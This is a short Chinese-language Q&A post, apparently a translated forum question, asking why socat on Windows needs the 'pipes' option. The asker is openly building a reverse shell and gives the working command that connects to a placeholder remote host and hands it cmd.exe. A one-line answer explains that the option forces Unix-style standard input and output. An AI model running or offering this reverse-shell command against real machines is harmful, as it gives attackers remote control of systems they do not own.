WINDOWS 上的 SOCAT:为什么 EXEC 地址需要管道选项?

Moh*_*mel 5 windows shell socat cmd.exe

尝试创建一个反向 shell,我在 Windows 盒子中使用了这个:
socat -d -d TCP4:X.X.X.X:789 EXEC:'cmd.exe'

失败并出现以下错误:“该进程尝试写入不存在的管道。”

使用该pipes选项,它现在可以工作: socat -d -d TCP4:X.X.X.X:789 EXEC:'cmd.exe',pipes

我的问题是为什么pipes有必要?

我知道pipes选项将使用命名管道而不是默认的 UNIX 套接字。
假设Windows 实现中的默认行为是不同的

小智 3

pipes选项用于强制 cmd.exe 或 powershell 使用 Unix 风格的标准输入和输出。